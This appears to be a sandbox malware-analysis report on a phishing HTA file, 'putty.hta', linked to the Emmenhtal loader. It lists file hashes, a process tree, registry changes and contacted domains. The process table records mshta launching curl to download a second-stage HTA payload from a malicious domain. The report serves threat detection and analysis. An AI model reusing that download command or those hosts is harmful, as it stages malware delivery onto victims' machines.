| File name: | putty.hta |
| Full analysis: | https://app.any.run/tasks/8a932500-816b-4213-ba7b-803ee693571a |
| Verdict: | Malicious activity |
| Threats: | First identified in 2024, Emmenhtal operates by embedding itself within modified legitimate Windows binaries, often using HTA (HTML Application) files to execute malicious scripts. It has been linked to the distribution of malware such as CryptBot and Lumma Stealer. Emmenhtal is typically disseminated through phishing campaigns, including fake video downloads and deceptive email attachments. |
| Analysis date: | June 12, 2025, 19:37:05 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/html |
| File info: | HTML document, ASCII text, with very long lines (57596), with CRLF line terminators |
| MD5: | 1D4B5B59B296F58F0AF4F9C9719D7CAD |
| SHA1: | C3D981EAB45B0628326276DEF958F7264BE77A41 |
| SHA256: | 26D4151859A5821D7CA55B6B5BA1C8C01B18B9B43CEC9D6ABF56CE66DF8EAEB1 |
| SSDEEP: | 768:Qw0t9jJYDHU8rO6R0AXyDX/hbhAheyNHhOfpyHRQARf3w4FLBwdgmm8bzFQkHsxs:JduVsry1K9P+ |
| .html | | | HyperText Markup Language (100) |
|---|
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 724 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 1720 | "C:\Windows\SysWOW64\mshta.exe" C:\Users\admin\Desktop\putty.hta {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} | C:\Windows\SysWOW64\mshta.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft (R) HTML Application host Exit code: 0 Version: 11.00.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2808 | "C:\Windows\System32\curl.exe" -k -o "C:\Users\admin\AppData\Local\Temp\BC869328894B5B39B3DFBC5C67C7C323.hta" https://my-team-space1.com/api/getFile/putty.hta/cLi1arZsi.mp3 | C:\Windows\SysWOW64\curl.exe | mshta.exe | ||||||||||||
User: admin Company: curl, https://curl.se/ Integrity Level: MEDIUM Description: The curl executable Exit code: 0 Version: 8.4.0 Modules
| |||||||||||||||
| 4380 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | curl.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| (PID) Process: | (1720) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
| (PID) Process: | (1720) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | IntranetName |
Value: 1 | |||
| (PID) Process: | (1720) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
| (PID) Process: | (1720) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 0 | |||
| (PID) Process: | (1720) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (1720) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (1720) mshta.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2808 | curl.exe | C:\Users\admin\AppData\Local\Temp\BC869328894B5B39B3DFBC5C67C7C323.hta | html | |
MD5:1D4B5B59B296F58F0AF4F9C9719D7CAD | SHA256:26D4151859A5821D7CA55B6B5BA1C8C01B18B9B43CEC9D6ABF56CE66DF8EAEB1 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2596 | svchost.exe | GET | 200 | 2.23.77.188:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 2.23.246.101:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 2.16.168.114:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
2716 | SIHClient.exe | GET | 200 | 23.219.150.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
2716 | SIHClient.exe | GET | 200 | 23.219.150.101:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
5944 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
5720 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1268 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1720 | mshta.exe | 104.21.112.1:443 | my-team-space.com | CLOUDFLARENET | — | unknown |
1720 | mshta.exe | 188.114.97.3:443 | my-team-space1.com | CLOUDFLARENET | NL | unknown |
2808 | curl.exe | 188.114.97.3:443 | my-team-space1.com | CLOUDFLARENET | NL | unknown |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
2596 | svchost.exe | 40.126.32.72:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2596 | svchost.exe | 2.23.77.188:80 | ocsp.digicert.com | AKAMAI-AS | DE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
my-team-space.com |
| unknown |
my-team-space1.com |
| unknown |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |